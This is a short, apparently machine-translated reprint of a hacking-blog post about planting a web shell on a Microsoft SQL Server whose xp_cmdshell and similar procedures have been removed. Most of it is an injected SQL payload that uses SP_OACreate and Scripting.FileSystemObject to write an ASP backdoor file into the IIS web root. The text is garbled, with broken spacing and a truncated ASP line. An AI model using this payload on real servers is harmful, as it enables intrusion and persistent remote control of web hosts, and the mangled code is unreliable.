Reprinted: EviLOctal blog'xp_cmdshell''xp_regread''SP_MAKEWEBTASK 'is deleted Ask how GG will restore p_cmdshell' How to write shell? Oh answer master (not me) is:; DECLARE @fs int, @ fi int EXEC SP_OAcreate 'Scripting.FileSystemObject', @ fs OUTPUT EXEC SP_OAMETHOD @ fs, 'createTextFile', @ fs OUTPUT, 'c: / Inetpub / wwwroot / xblue.asp' ,1 exec sp_oamethod @ fs, 'writeline', NULL, '<% 25 if Request ("x") <> ""))% 25>';